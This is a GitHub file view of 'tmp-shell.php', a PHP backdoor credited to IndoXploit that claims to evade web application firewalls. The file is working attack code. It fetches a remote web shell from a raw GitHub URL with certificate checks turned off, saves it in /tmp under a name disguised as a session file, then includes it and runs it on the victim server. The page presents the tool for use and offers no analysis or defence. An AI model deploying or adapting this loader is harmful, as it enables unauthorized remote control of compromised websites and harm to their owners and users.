-
Notifications
You must be signed in to change notification settings - Fork 7
Expand file tree
/
Copy pathtmp-shell.php
More file actions
26 lines (23 loc) · 857 Bytes
/
tmp-shell.php
File metadata and controls
26 lines (23 loc) · 857 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
# IndoXploit TMP Backdoor
# Bypass 406 Not Acceptable & Auto Delete Shell (WAF Evasion Shell)
# Coded by: L0c4lh34rtz - IndoXploit
$data = ['https://raw.githubusercontent.com/indoxploit-coders/indoxploit-shell/master/shell-v3.php', '/tmp/sess_'.md5($_SERVER['HTTP_HOST']).'.php'];
if(file_exists($data[1]) && filesize($data[1]) !== 0) {
include($data[1]);
} else {
$fopen = fopen($data[1], 'w+');
fwrite($fopen, get($data[0]));
fclose($fopen);
echo '<script>window.location="?indoxploit";</script>';
}
function get($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
return curl_exec($ch);
curl_close($ch);
}
?>